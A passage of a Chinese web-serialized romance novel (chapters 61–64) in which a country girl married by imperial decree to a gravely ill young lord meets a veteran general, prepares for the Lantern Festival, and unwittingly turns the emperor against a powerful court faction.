“因为您就是将军啊。”薛含桃回答的理所当然,从小到大,在丰县乃至桃林村那一小块地方,所有人都知道一位狄将军。 他曾经几次打败了辽人,辽人衰败之后,接着才是金人。 “我的父母生前都很感激将军,尤其我的阿娘,她说若不是将军您抗击了辽人,她不会活着逃到桃林村。”薛含桃的语气真心实意,殷勤地请他坐下。 “我去给将军端点心吃。”说着,她甩开崔世子的手,就要兴冲冲地跑去茶间或是厨房。 “方振会准备,不要你忙活。”崔伯翀淡淡瞥了一眼自己被甩开的手,一个快步上前,将人揽住,命令道,“老实坐下。” 见此,狄恒大笑起来,脸上的皱纹都舒展开来。 “留下也好,既知辽人之恶,现在不妨也听听金人之劣。” 他颇带欣赏地看向乖巧坐下的小姑娘,心道是个实心眼的,伯翀信她不无道理。【魔蝎小说 mo xie xs .c om】 60-70 第61章 第六十一章能耐的桃子。 薛含桃两只脚并在一起,眼巴巴地望着狄恒,狄恒在朗声大笑,她虽然不知道原因但唇角翘起也跟着笑起来。 随着狄恒说起北伐和无、耻劫掠的金人,她听懂了一些,一双眼睛愈发生出真挚地仰慕。 真厉害呀,狄将军,年过半百两鬓霜白,依然不忘抗击外敌想将失落百年的河山收回来。 这种如同凝视神明的目光终于不再是崔世子的专属,书房中的两人都察觉到了,另一个人暂且不提,狄恒可谓是浑身舒畅,已经直呼薛含桃的姓名为小桃。 “小桃,我年纪大了,不然三年前汴州失陷,我与伯翀一起,说不定就能乘胜追击将云州夺回来。” 狄恒和她述说心中的遗憾,言若不是陛下下旨命令他带着兵马留守都城,有他的支援,年仅二十岁的崔世子在战场上能更游刃有余。 “圣旨接连六道一起拦住我,无论如何上奏都无用。” “不不,狄将军不要这么想,一定是有您的指点与传授,世子才可以保下汴州。”听他这么说,薛含桃连忙摆手,她看向身边的男人,模样是与有荣焉的骄傲,“世子虽然是大英雄,但您身为他的长辈,还要看顾着他……” 说着她眼神微有些苦恼,又像是告状,“都城很复杂,战场上也很危险,世子却不爱惜自己的身体。狄将军,您可以管教他吗?让他多多爱护自己。” 神明是无所不能的,而当面前多出一个狄恒之后,她私心把崔世子当作了和她一样需要神明保护的人类。 不要再受伤了,也不要再流血了,哪怕成为一个普通的凡人。 薛含桃带着敬仰和些许羞愧的话音落下,狄恒的反应先是唏嘘叹气,而后他欣慰地又笑起来,对崔伯翀说,老天爷的安排总是令人捉摸不到。 一个因为利益被陛下强行赐婚给伯翀的小姑娘,她的出现突然又意外,下意识地令人产生偏见。 可偏偏也是她,简简单单说出了最关心伯翀的话,连狄恒也愣了一下。 她不需要英雄再铸造出一个奇迹,她只希望她的夫君永远平安,不要再遇到危险,长命百岁。 这是薛含桃藏在心里的私念,然后毫无保留地表现了出来。 可是,狄恒想她或许不知道伯翀所剩的寿命无几,所以,他更加动容。 “伯翀,你娶了一个好姑娘,用心待她。” 临走前,狄恒难得开口称赞一个只说过几句话的小姑娘,“纯朴,赤忱,这些是相貌和家世都比不了的。” “有妻如此,夫复何求。” “狄公说得对。” 崔伯翀将人送到府门处,凝视着老者离去的背影,接着就又返回书房。 他的脚步平稳,可是却走出了迅如疾风的姿势。 薛含桃正沮丧地思索自己有没有说错话,狄将军的回答究竟是答应还是别的意思时,他走进,双手握着她的腰背,将她高高抱了起来。 纳入自己的怀中,以一种完全包容的姿态。 “世子,刚才我是不是说的不对?”薛含桃紧张不已地拽着他肩膀处的衣袍,低头与他对视,“你送狄将军的时候,他有没有生气?” 狄将军说老天爷的安排捉摸不到,她思索了好几遍,还是没能想明白他为什么这么回答。 “没有,他很少夸人,而你便是那些人其中之一。”崔伯翀凑近,克制不住地亲舐她仰着的脖颈,嗓音低哑。 在他以为桃子已经足够甜美的时候,她接着又展现出更胜一筹的风情,让他知道,她还没有做到最好。 “真的吗?”得知自己被狄将军夸了,薛含桃一脸惊喜,闪躲着又问他是如何夸的。 “夸一个容易害羞的小姑娘有一颗赤子之心,赤子之心便是我也未曾见过。”崔伯翀不满意她的躲避,眉眼一压硬是吮出了鲜红的印子,用舌头,用牙齿,让她变得老实起来。 “那……狄将军算是答应了?世子,你不能再冲动,要顾好身体。”薛含桃乖乖地让他亲,嘴里仍说着苦口婆心的话,老气横秋的,也不知是和谁学的这些。 直到他不经意间看见书架上被翻出了痕迹的地方,崔伯翀眯起眼睛,抱着她走过去,找到了缘由所在。 “以后少看老学究写的书,坏了性子,我就把这里的书全都扔掉。一颗变得蔫吧的桃子不好吃,记住了吗?” “嗯嗯,记住了。” 薛含桃不住地点头,结果动作一大,她藏在袖子里面的《诗经》顷然掉落。 “你到书房不是为了找农书?藏着一本据说是我遗落的《诗经》,是想要再卖几两银子啊?”崔世子轻描淡写地道出她意图遮掩的事实,连她卖出这本《诗经》赚了多少银子都知道。 “……我,我不是故意的,只是抄书的时候,抄着抄着一不小心便模仿了世子的笔迹。世子的字美而飘逸,能赚更多的银子……” 这一刻,薛含桃特别想找个地洞钻进去,然而,她被举高,抱着,根本就躲不开。 一颗桃子羞愤欲死,不只脖颈被吮红,耳尖和整张小脸也浮上一层艳丽的胭脂。 本以为会被遗忘的往事这么快就被挖出来,又是在她理直气壮地表示她不欠世子之后,现在她是真的想哭。 “我命人买下了那间书阁,从书阁掌柜手中查了账本,才知道前前后后有人学着我的笔迹,赚走了快二十两银子。” “很能耐么。小桃子。” “我还你,全都还给你……啊,你不能咬那里…” 良久,书房中蔓延出一股令人面红耳赤的气味时,崔世子终于恢复了平静。 他随意地将染上了污浊的《诗经》丢进炭盆之中,抚弄着薛含桃的后背,告诉她以后少写字多作画。 “为什么啊?世子觉得我学你的笔迹不好吗?”比起从前,她胆子变大了很多,心里有疑惑懂得当面问他了。 一双氤氲着雾气的眼睛眨也不眨地望着他,崔伯翀的喉结微动,缓缓摸了摸她的脸颊,“你能将我的笔迹学到八九分,说明你天赋异禀。将来,他人的笔迹也能模仿出精髓。被人察觉后,总归是个麻烦。” 他的解释薛含桃听进了耳中,不知为何,注意点全都在天赋二字上,笑的两眼弯弯。 “世子也夸了我。”今天被人夸赞了两次,她很开心。 薛含桃心里觉得这是个好兆头,想必很 快她就能把桃核种下去,令它发芽。 瞬间,她的精神昂扬,连他向自己讨要银子的事情也不再计较。 怕什么?她一幅画可以卖到五十两银子,而且她现在有钱! 托封大嫂留意的宅子还没……薛含桃骤然记起自己的退路,默默地说自己要继续卖画,赚银子。 借着卖画的机会还可以去找封大嫂,好些天了,封大嫂大概以为她不会再去了吧。 “不急,明日我和你一起出府。”出乎意料,崔世子微微挑眉,说要带她出府游玩。 “为什么?”她忍不住好奇心,又巴巴地问。 一开始,崔伯翀淡淡地瞄了她一眼,没有理会,后来她追着又问,他才有些不耐烦地回复明日有元宵灯会。 元宵佳节,可通宵作乐,是都城难得欢快的日子。 “对啊,明日是元宵,按照丰县的习俗,我应该买一只灯笼送给小皇子。”薛含桃恍然大悟地点头,转而抬眸看到崔世子冷漠的脸色,她不解地问怎么了。 老实巴交从乡下过来的小姑娘并不知道,都城的元宵节同样也是有情男女相会的节日,她只想到小皇子却忽略了最紧要的一个人。 “自己想,想不明白明日就别出门了。”他伸出手指捏了捏她的鼻尖,在她发愣的时候,断然走出书房的门,将她一个人留在了里面。 薛含桃望着他的背影,没有追上去,这个时辰世子应该是去了后院找孙大夫,试药,世子从来不让她跟着。 因为后院算是客所,很多护卫也住在那里。 世子让自己想,薛含桃就老实地坐在书房中的小榻上,过一会儿,唤来了大黑狗,挑一块红豆糕喂给它,她自己端一杯茶慢慢地饮着。 “阿凶,世子方才有些生气,但他眼中明明就在笑,他还让我猜,难道是他也想要和小皇子一样的灯笼吗?可那是给孩子的。” 她嘴里嘀嘀咕咕,说了一大通话,大黑狗当然听不懂,拱了拱她的手让她再喂一块点心。 红豆糕,大黑狗觉得好吃。 “你现在长的肉太多,狄将军也说你胖,只能再吃最后一块。狄将军是世子的长辈,他的话得听。” “恐怕只有陛下比狄将军的话管用,所有人都不能抗旨。” 圣旨…… 薛含桃的眼睛缓慢地落在一只炭盆上,那里仍有一点没有烧干净的灰烬。许久,她深深地吸了一口气,颤抖着指尖将一个荷包翻了出来。 荷包里面,贴身放着一封她和世子的赐婚圣旨。 薛含桃屏着呼吸,将圣旨上的内容默念了一遍,两遍,第三遍的时候她紧张地让大黑狗趴在了门口,为自己守门。 来到书案前,她展开洁白的纸张,提起一只细毫,对着赐婚圣旨小心翼翼地勾勒起来。 世子说她的天赋是模仿,狄将军说他必须遵守陛下的命令,堂姐说她们姐妹和小皇子相依为命……她说过自己会努力,也会勇敢。 一个像了六分的字跃然纸上,这一瞬,薛含桃的眼睛大的出奇。 她在指尖上咬出了一个牙印,随后,慌忙地将一页纸同样丢进了炭盆。 第62章 第六十二章“你选择哪种法子?”…… 孙医圣已经从儋州启程,不日将到达都城,在此之前,孙大夫会先用针法激发崔伯翀身体的活性。 过程当然很不好受,和从前高贵优雅的形象相比,每每结束时,他更像是一只负伤的孤狼,狼狈不堪。 幸而,一切都在往好的方向发展。最痛的时候,他的嘴角仍噙着一抹愉悦的笑容。 孙大夫看见了心中啧啧出奇,第一次没能从崔世子的身上感受到凶戾的气息,如果一直都是这种状态,即便不服用续命的丹药,撑上一年或许也不是问题。 他忍不住好奇,开口发问,“世子看起来是有什么喜事吗?” “无事,明日元宵,准备出门游玩而已。”崔伯翀一边漫不经心地回他,一边擦去经脉处流出的淤血。 末了看孙大夫一副若有所思的模样,他随意又补充了一句,“孙大夫若是不得暇,我和内人赏花灯时可以顺便带回一盏,送给孙大夫。” “这便,不劳烦世子和夫人了。”闻言,孙大夫呵呵笑了一声,眼皮直跳,当他听不出面前的青年是在朝着自己炫耀? 有些人变得那叫一个快,之前还疯魔地折腾来折腾去,才过了半个月而已,知道自己能活下去了,又开始做人,装个君子的模样,将人家一个单纯的小姑娘骗的团团转。 明明是为了弥补之前的过错,竟然哄着人说是陪他吃药。不过,做人的崔世子比做魔的他更有活气,孙大夫纵然牙根痒痒也没说什么。 “可惜。”崔伯翀的薄唇中吐出两个字,换上新的衣袍,衣冠楚楚地离开孙大夫那里。 他并未第一时间回正院,而是先去了库房- 薛含桃慌里慌张地“毁尸灭迹”后,答案没能想清楚,却是等到了崔世子手中的一张黄金面具。 镂空的金纹严丝合缝地将她的小半张脸遮住,刚好是她曾经戴过的那副。 她脸上长肉了啊,为什么还是这么合适,薛含桃装作镇定地用手摸摸,又摘下来看了看,将之前没能问出口的话说了出来。 “世子,你会仙法吗?面具合适,之前的嫁衣也比宫里的合适。” “人的神韵在骨不在皮,只要探出你的骨相,皮肉大部分皆可以忽略。”崔伯翀轻描淡写地同她解释,一只手更拉着她同她示范,怎么将一个人的骨相探出来,“骨头一旦成型就不会改变,你摸摸这里和你的有什么不同。” 指尖被迫触碰到的地方是他的眉骨,很硬,眉尾处异常锋利。 “比我的高一些,骨头也更大一些。”薛含桃老老实实地说,指尖往下又被迫放在他的鼻梁上,她感受到灼热的呼吸,有些出神。 “我也很厉害。” 她喃喃说道,告诉崔世子她也能使出一门常人不会的仙法,到了那天一定会让他惊掉下巴。 “好,我等着。” 崔伯翀笑着哄她,随后拥着她的肩膀出了书房,带她往东院的小花园走。 “农书当中没有记载如何栽种桃核,使它成活,不过在丰县时,有人告诉过我两种让它发芽的方法。”他微微眯了眼睛,黑色的瞳孔盯着她,坦然承认在她离京之后,他确实追去了丰县。 桃子没有找到,却在她曾经住过的屋中看到了一颗桃核。 丑陋的外表裹着黑乎乎的泥土,就那么孤零零地躺在无人问津的地方,鬼使神差地,他将这颗桃核捡了起来。 洗干净后,带了回来。 然后在她迷茫的时候,崔伯翀趁机将桃核塞入她的手中,让她再为自己种出一棵桃树。 原来真的是桃林村中那片野桃留下的桃核! 薛含桃顿时将自己偷偷模仿圣旨的事抛到了脑后,她着急地追问洪水退下去后,桃林村的房屋里面有没有住人,野桃林他又是否去过? “我父母就葬在离野桃林几步路的地方,离开前我去看过,他们的墓碑仍在水中,只露出一个顶。” 薛含桃的神情低落,如果洪水退下的时候将那块墓碑卷走,她就很难再找到父母的坟墓了。 “二十多处房屋,至今都还空着,不过岳父岳母的墓碑还在。我找过去的时候,一户姓姜的人家帮忙洗去了墓碑上的淤泥。”崔伯翀平静地说,那户 人家中的老妇在听到他是她的夫君时,还向他打听薛含桃和她的堂姐过的怎么样。 “她有一子,也颇为关心你与薛妃。” “那他可能是姜二哥,他们一家都是好人。”薛含桃松了一口气,小声附在他耳边说姜二哥是隔壁村的人,曾经和她还有阿姐幼时一起玩耍。 准确的说,她年幼的时候,姜二哥和她的堂姐时常待在一起,青梅竹马感情极好。 然而,大伯父和大伯母嫌弃姜二哥家贫没有能耐,棒打鸳鸯,将堂姐嫁给了一个行商之子。 “收来的聘礼都修房子给堂兄娶妻用了,堂姐离家的时候哭的很伤心。可是,她嫁的那家人比大伯父他们还过分,竟然将堂姐当作赁妻!” “父亲临终前为我定了亲,选了他看重的学生宋熹,但我也没能过上祥和的日子,若不是阿凶和世子救我,也饿死淹死了。” 薛含桃说着忿忿不平,慢慢地又生出些委屈,她们就是扎根在乡间的野草啊,出身低微,拼命地想要活下去,可命运总是将她们弄得灰头土脸。 “我有时做梦都想,未来会不会变好,不止我和我的堂姐,还有很多很多和我们相似的人。” 听她诉说,崔伯翀的神色如常,没有任何变化,只他的手掌缓慢地拍着她的后背。 “会的。”他说,孤苦无依的农女靠着自己的勇敢和坚持赢来了立身之地,她的堂姐也在后宫成为了一人之下万人之上的贵妃,在她不知道的地方,还有很多人获得转机。 明明他的语气十分平淡,也压根没有起伏,但听起来就是令一颗桃子死心塌地的信服。 “嗯!我信世子!” 薛含桃望着他,很快破涕为笑,接着又问让桃核发芽的两种方法是什么。 “其一,将它直接埋在土里,此处就很合适,之后便不再管它,经历过寒冷的冬日,到了春暖花开之时,它自会发芽。其二,砸开它的外壳,把它放在温水中,半个月后它便会发芽。两种方法有利有弊,前一种更简单但等候的时日长,后一种时日更短但更为凶险,因为砸开桃核外壳的时候不小心会将整个桃核毁掉。” 崔伯翀指着花园的一处空地,问她要选择哪一种法子。 “现在快要到春天,一定要经历冬日的话,是不是要等到下一年?”女子犹犹豫豫地开口。 “是。”他点头。 “那,那就将它砸开吧,虽然冒险但我想世子快些看到它发芽。”桃子做出了自己的选择,没有多少挣扎。 崔伯翀的目光轻拂过她的脸,低低笑了一声,有种奇异的温柔。 他从未怀疑,她瘦小的身躯中藏着一种称作执拗的力量。而她选了第二种法子,也说明她并不是怯弱的往后退的菟丝花。 爱人如养花么?他想知道自己会把她最后养成什么模样。 “面具收好,明日随我出门时戴着它。” “嗯。” “明日和你的元宵灯会,想明白了吗?” “……没有。” 闻言,崔世子冷淡地压下眉眼,接着抬脚便走,薛含桃讨好地,迅速地抱住了他的手臂,“我有钱了,给世子买花灯,好不好?” 她的脑子实在是迟钝,想不到元宵灯会究竟有什么玄机,只能可怜兮兮地睁着一双大眼睛乞求他的原谅。 “不好。”崔伯翀依旧冷漠无情,对她做出了惩罚,让她把他之前让她记下的官吏勋贵往来复述一遍。 无奈,薛含桃只能耷眉臊眼地跟在了他的身后。 回到正房里面,她老老实实地朝着他背诵谁家的女儿嫁了谁家的儿子,谁家和谁家的子侄分别去了何地为官,谁家与谁家又有仇怨,闹到了何种程度。 “青石县的现任县令姓甚名谁?” 在她背到大半的时候,崔世子冷不丁地掀开薄唇,问了她一个问题。 “姓梁,名顺弘。”薛含桃记得很清楚,因为她自己在青石县待过。 “他的夫人出身何处?”崔伯翀又问。 “……我不知道。”薛含桃羞愧地垂下脑袋,她没记住那么多。 “他的夫人是京中礼部侍郎的庶女,而礼部侍郎是蔡存的拥趸,所以,你口中的稽夫子在得罪了蔡党门人后,他的名字即刻被青石县县令以德行有亏的理由除去,致使科举落第。他的父亲与县令争论,受其打压,后来便气绝身亡。” “你要成为未来的国夫人,天子的姨母,告诉我,当稽韶带着你的名帖找上门的时候,这件事你准备如何帮他?” 崔伯翀居高临下地质问她,薛含桃顿时懵住,她的唇瓣抿了又抿,不知要如何回答。 “……可以报官吗?”最后,她吞吞吐吐给出了自己的法子。 上次被刘金眉暗中指使污蔑为流民抓去,她就是这么做的,向府尹大人报官,后来虽然经历了很多波折,但结果证明是有用的。 “官官相护,你说呢?”崔伯翀盯着她,似笑非笑地摇头。 “那,那就把证据和人证带给…给陛下看!”世子不会帮她,薛含桃本来想说宫中的堂姐,但一想堂姐在深宫,所以她想到了陛下。 陛下不是说自己是她的姐夫吗?而且他说的话最有用。狄将军要听他的,世子口中的蔡存应该也不例外。 第63章 第六十三章“给,都给。”…… 公理走不通那便走私情这一条路。 薛含桃误打误撞地领会了这一点,虽然仍不是很明白,但她忙不迭抬眼看他,问可不可以。 崔伯翀的回答是慢悠悠地坐下,不可置否。 他颀长的身躯透出一股散漫的架势,从薛含桃的角度看去,优越的长腿,还有冷白的下颌都让她移不开眼睛。 一直到这个时候,她还是会有难以置信的感觉,原来路边的野草真的陪伴在了一株华美的魏紫身边。 少女目光怔怔地望着他,含着一分痴迷,一分爱慕,还有一分她自己都未察觉到的恍惚。 好不真实,她真的拥有他了吗?即便她可以种出他想要的桃树,变成更为甜美的桃子。 明明此时,她站着,比坐着的他还要高出一些,但薛含桃却忍不住羞窘,慢慢地直起腰,仿佛这样自己就能更有底气。 她的眼神和动作隐晦又小心,以为不会被发现,可是,在她努力将脊背挺直的时候,男人黑沉的眼睛立刻毋庸置疑地锁定住了她。 薛含桃心尖一颤,干巴巴地朝着他笑,和他解释最大的官归德昌帝管,“陛下是天子,呃…只要住进那座宫殿,所有人都要听他的话。所以,向他告状,应该有用。” 他可以统领天下,是因为他住进了那座代表着皇权的宫殿,不是因为他这个人。 奇异地,崔伯翀理解了她的意思,他饶有兴致地笑了一声,问她,“然后呢?见到陛下,你会怎么说?” “要先跪在地上给陛下磕头,祝他身体安康,陛下让我起身,我就实话实说,请他帮一帮忙。” 她斟酌语句,认真地将来龙去脉复述了一遍,丁点儿的虚假都没有,果真是实话实说。 崔伯翀听的津津有味,突然,他伸出手臂,将口干舌燥的小姑娘拽到了自己的腿上。 “不错。”他又一次地夸奖了她,说她是个有灵性的桃子。 老实有老实的好处,尤其对于多疑的上位者而言,就连她悄悄挺直身体的小动作也更令人信任。 薛含桃乖巧地坐在他的身上,感受到真实的温度,眼尾晕出一抹红,世子夸她说明她做对了! “可以给我奖励 吗?“大着胆子,她和他要属于桃子的奖励。 “想知道元宵灯会的玄机?”崔伯翀一针见血,看穿她的心思。 “我只知道丰县的习俗,不懂这里,但我知道世子会告诉我的。” 这是世子的世界,她虽然无法第一时间融进去,但她很快就能镇定下来,因为有他,他会教她扎根。 崔伯翀垂眸,黑沉的瞳孔里面映照着一张充满期待与信赖的小脸,往下细白的脖颈那里还有……他吮出的红痕。 怎么就能这么乖? 他的指腹放在她的唇瓣处缓缓摩挲,由轻到重,俯下身去亲了个肆意。 ……薛含桃气喘吁吁,但还是努力迎合。 逐渐变得昏暗的房间内,似有若无地出现绵密的水声。 紧紧相贴,她不必仰望他的同时,也听到他轻佻地说,“这才是给桃子的奖励。” “可是,元宵节……” “男女私会,偷情,知道吗?”崔世子高挺的鼻梁在她的脸上投下一片阴影,毫无羞耻心地哼笑。 “我们成婚了。”薛含桃不敢相信这样的话从他的口中听到,讷讷地,无力地反驳。 而且,还是天子赐婚! 闻言,崔伯翀轻嗤,反问了一句,“所以呢?我想要你不给。” “不是不给,”她红着脸,笨拙地解释,他们合乎礼法,“世子说的明明是,是…夫妻相会,没有成婚或者和别人才叫私会偷情。” 十六岁就得中状元的崔世子当然知道,可他是故意的啊,看见她羞涩难当的模样,心情便十分愉悦。 “给不给?”他又轻描淡写地用食指勾她,弄她,向她要一个回答。 这是属于男人的恶劣习性,肆无忌惮地在她的面前表现出来。 不再是死气沉沉的,不再是阴郁冰冷的,也不再是完美无瑕的,这是受伤之前真实的崔伯翀。 大多时候仍是一个朗月清风的君子,可面对自己喜欢的,珍爱的,只想放肆地把玩,欺负她,享受她的面红耳赤与手足无措。 “别弄了…给,都给。”老实的乡下姑娘敌不过他频出的手段,没多会儿就开口求饶,嘴中含含糊糊地承认他们明日要去私会,要去偷情。 崔伯翀过足了瘾,才大发慈悲地放过了她。 房间里面一直响着他低沉悦耳的笑声,以及后来一句轻不可闻的话。 “不止你,我也是第一次去赏花灯。” 与她一起,体会人间的喧闹繁华- 次日,薛含桃征求了崔世子的同意后,带着果儿一起出了门。 和崔世子赏花灯要等到傍晚,她却准备先进宫一趟,将小皇子的花灯送过去。而果儿离宫半年,也想去探望自己从前的姐妹,顺便打听些消息,免得再出现高画师那等令她难堪的旧友。 坐在马车里面的薛含桃穿一件云锦凤尾袄裙,头上簪着堂姐之前插在她发间的鸾凤金钗,手中提着一盏老虎模样的花灯,惹得果儿不停地看她。 “我脸上有什么吗?”留意到果儿的目光,少女悄悄用手捂住了自己的脖子,她已经在世子弄出的痕迹上涂过药膏了,应该不会被看出来吧。 “娘子,”果儿犹豫再三,表示自己不是在拍马屁,“我怎么觉得今天的你又比之前好看一些?” 果儿的话直白没有掩饰,闻言,薛含桃默默地叹口气,告诉她出门前的眉毛和口脂都是世子帮着弄的。 “除了阿姐送给我的金钗,衣服、玉环、还有珠链全是世子选的。有很多,真美丽呀。”她和果儿说起崔世子从库房挑选了整整一匣子的首饰给她,“每一种他先搭配好,然后又让我穿他选的衣服。” 薛含桃其实觉得有些麻烦,但当着崔世子的面她不敢提,老老实实地照着做,“世子说,如果我不用,它们会藏在库房里面生灰,过些时日变得暗沉无光,还不如扔掉。” “太浪费了!”为了不让这么多漂亮珍贵的首饰被扔掉,她决定每日至少戴个一两件。 “娘子,这样的话之前我也说过,您却只听世子一个人的!”果儿一听,立刻坐不住了,之前刚到娘子身边的时候她劝过娘子多少次啊,结果娘子根本不听她的话,固执地穿细布裙,系红头绳。 现在可好,全成了世子的功劳。 “是吗?嗯,果儿姐姐说的也对。”薛含桃不好意思地抿起嘴唇,赶紧转移话题,嘱咐果儿千万记得在宫门处等她。 果儿答应下来,两人很快在宫门处分道扬镳。 柔仪殿的胡茵儿亲自来接人,不出意外,当看到又是半月未见的薛含桃,她露出了惊愕的表情。 贵妃的妹妹,从前普普通通的薛二娘子竟然在一天一天地变美,现在瞅着,比刚进宫那一次不知美了多少倍。 到底是定国公府养人还是她本来就天生丽质…… “因为看人要看骨相,其实只是多长了些皮肉,胡姑姑您不必惊讶,如果我吃不饱穿不暖,很快又会和从前一样。”薛含桃仔细地和她讲解自己变化的缘由,说的头头是道。 不过只有她自己清楚,这是学用了世子的言论。 骨相,皮相,胡茵儿第一次听到这种说法,而且还是从她以为上不得台面的小姑娘口中说出来,感受到的冲击比容貌的变化更加强烈。 走着走着,她望向薛含桃的眼神发生了细微的转变。 少了两分轻视,多了两分敬畏。 踏入柔仪殿的门槛时,胡茵儿甚至亲手为薛含桃提起了裙摆,小姑娘愣愣地向她看过来,她恭敬一笑。 “娘子您手中提着盏灯笼,可能不方便。” “哦,哦,谢谢你胡姑姑。” 她特意买的老虎灯笼,比寻常的花灯大了不少,薛含桃觉得是这么回事,小声同胡茵儿道了谢。 “多别致的小老虎啊,小桃,你有心了。来人,将皇儿抱过来。”薛贵妃见到胖乎乎的小老虎很是喜欢,回忆起这是丰县独有的习俗,看自家堂妹的目光温柔似水。 幸好,幸好还有一个小桃,不然她是真的举目无亲了。 皇儿虽然是她亲生的,但到底年纪太小,不知世事。薛贵妃深夜牙齿打寒战的时候,还要想着怎么护住他。 可是,查清了一些事情的真相后,薛贵妃异常清楚地意识到她和皇儿本质上是不同的。 皇儿是真正的天潢贵胄,而她,生下他的母亲,表面上是宫里受宠的贵妃娘娘,可实际在陛下在崔皇后他们的心中仍旧只是一个低、贱之人。 薛贵妃终于想明白自己的来处和堂妹小桃是相同的,她们都只是百姓,农女,尝过苦楚,被人瞧不起,也会轻易被人舍弃。 “阿姐,你比之前瘦了一些,要多吃饭多吃肉。”薛含桃并不知道堂姐查到了什么,她首先关心薛贵妃,再去逗弄小皇子。 模样看起来无忧无虑,很开心。 “小桃,崔世子的身体好些了吗?”薛贵妃心里压抑着一股难言的滋味,轻声细语地问她。 “嗯,好些了,世子的身体会治好的。”薛含桃笑着回答她,摸着小皇子的手,眼睛亮晶晶的。 “小皇子,我是姨母,这是给你的小老虎,喜欢吗?” 她试着和小皇子说话,小皇子张开嘴巴,咿呀咿呀地,像是回答她。 一片其乐融融。 德昌帝进来时,刚好看到了这一幕。 第64章 第六十四章我保护世子。 暖融融的殿中,明丽的薛妃端坐,手里提着一盏老虎模样的花灯,她温柔看去的方向,一个清灵出尘的少女正在逗弄牙牙学语的稚儿。 他半生才保来的皇子啊。 见此,德昌帝瘦癯的面庞不由自主露出一分笑意,问薛贵妃这是谁家的小娘子。 一开始,他以为是自己膝下的三位公主,发现不对后,他便想到了宗室的郡主县主。 不过进殿前,宫人禀报说薛妃的妹妹定国公世子夫人在殿中,德昌帝一眼扫去,却是未曾看到他印象中那个老实纯朴的小姑娘。 “妾身拜见陛下。”薛贵妃朝 德昌帝行礼,听到他的询问后,微有愣怔,陛下不是见过小桃吗? 在她失神的片刻,薛含桃已经规规矩矩跪下朝德昌帝磕头,代她回答了这个问题,“民女祝愿陛下身体安康,民女是薛家的小娘子。” 薛家的小娘子,薛贵妃唯一的妹妹,皇儿的姨母? 不止德昌帝惊讶,他身后的内侍何焕也不敢相信自己的眼睛,和以前相比,薛娘子怎么和换了一个人似的。 虽然和国色天香倾国倾城的美人无法放在一个层次,但看起来莹白灵动的她也足够令人眼前一亮。 根本不像是从乡间逃难到京城的农女。 可是,当眯着眼睛仔细打量她的神态以及她结结实实跪下去的动作,扑面而来的笨拙与窘迫让德昌帝和何内侍都只能想到一人。 还真是贵妃的妹妹没错,没有半分弄虚作假。 “贵妃的妹妹?你的变化不小。”德昌帝没有让她起身,而是继续狐疑地打量她。 “回陛下,因为我不仅吃得起肉,还能喝上珍贵的补汤,世子又…又让我用珍珠粉敷面,所以我变胖了也变白了。”薛含桃诚实地告诉德昌帝,自己这一个冬天用上了炭盆,脸上和手上也没有生冻疮,“看起来就像是贵人家令人羡慕的小娘子。” 口中说着羡慕,她眼中同时也生出向往,这是她从前不敢想象的生活啊。 只是吃食丰富一些,能吃饱不挨冻,她便心满意足,感觉得到了巨大的恩赐。 见状,德昌帝逐渐打消了心中的疑虑,眼神变为慈和起来。 他让薛含桃起身,接着下旨命何焕赐给她一些金银和绢帛。 “不,不,陛下,我不能收。”薛含桃急忙拒绝,表示自己进宫是为了给小皇子送花灯,若是收了赏赐,“我和阿姐是一家人,给小皇子捎带灯笼天经地义,换回去那么多金银,会被人戳脊梁骨的。” 这下,何焕也确认眼前模样大变的少女仍是之前那个有过一面之缘的小姑娘。 嗯,依旧朴实无华。 德昌帝哈哈大笑起来,被人当面拒绝也未生气,反而心中熨帖,虽说她过于小家子气,但作为皇儿的姨母,胆小又守本分是她的优点。 这样天然质朴的女子不必担心她会生出阴谋诡计,与皇儿亲近,德昌帝更加放心。 而且,她又是伯翀的夫人,心眼少才好。 “你既不要金银等物,朕就给你些别的吧,你说你想要什么。”德昌帝温声道,一家人也得礼尚往来,让她大胆一些,他是天子,有谁敢说道。 “陛下说的没错,小桃,你若有委屈千万不要在心里憋着,我和陛下会为你做主。”薛贵妃见时机正好,语气温婉地出声。 德昌帝笑着点头,一个吃饱穿暖便满足的小姑娘能提出什么过分的要求。 “那我可以问陛下一个问题吗?”薛含桃紧张地抿唇。 德昌帝神色和煦地望着她,应声,“可以。” “蔡党是什么,有陛下厉害吗?”得到了许可,薛含桃鼓起勇气开口。 殿中一静,德昌帝的目光转为晦涩,他先去看薛贵妃惊惶不解的脸色,又看到无知无觉的小皇子拍打老虎的脑袋,缓声问薛含桃何出此言。 “有一位与我有过来往的友人,他得罪了蔡党门人,功名没了父亲也被气死了,我便觉得害怕,想着以后遇到蔡党就躲开,千万不要落得和他一样的下场。”她的眼神中露出了恐惧,犹豫再三,说蔡党若是比陛下厉害的话,阿姐和小皇子也要小心敬人。 “伯翀也这么说?”德昌帝脸上的表情消失。 薛含桃老实摇头,“世子之前旧伤复发,大夫现在让他修养身体,他让我自己去想,告诉我不会帮忙。” 德昌帝面庞一寒,想到上次他宣蔡存进宫授意立太子一事,而蔡存总是将话头引到伯翀与狄恒的身上。 说他们居心不良,表面赞成立太子,实际上是对他这个天子不满。万一立下太子后,这些武将悍然发动政变,就如同当年的太、祖黄袍加身或是挟幼主以令诸侯,该如何是好。 德昌帝半信半疑,但到底听了一些进去,因为蔡存是他一手提拔上来的心腹,能活到现在全靠德昌帝。 然而今日,薛含桃的一个问题让德昌帝忽然意识到蔡党势大,已经到了只能避开的地步,而权势同样不小的崔世子却病痛缠身,久未露面。 崔伯翀,他昔日最忌惮的人,现在命不久矣。 “朕是天子,蔡存,岂敢!”德昌帝龙颜大怒,厉声命人查清此事。 “原来陛下真的更厉害。”薛含桃喃喃细语,根本没想到她的三言两语会引发怎样的风暴。 何焕意识到了,他深深地看了这个口拙舌笨的小姑娘一眼,接着垂下了头。 德昌帝匆匆离去,薛贵妃问清楚了来龙去脉,也陷入了沉默中。 “阿姐,我和稽夫子都是曾经求告无门的人,我给他留下我的名帖,只是想给他一些希望,无论他找不找来。”薛含桃觉得自己帮上了一些忙,对着薛贵妃说道。 “这样也好,我儿身边绝不能有一个指手画脚的权相。”薛贵妃沉思过后,认为趁着德昌帝精力还在,为她的皇儿除掉一个未来的障碍,对她和小皇子都有利。 “嗯,小皇子身边不能有坏人。”薛含桃重重点头附和,告诉薛贵妃狄将军是好人,“他会保卫我们的家乡,而那些满口仁德的大人只会令我们流离失所。” 就如从前的丰县刘县令,若非他贪污了修建堤坝的银子,或许洪水过来的时候,可以多撑几日让桃林村的人逃命。 闻言,薛贵妃久久未语。 : 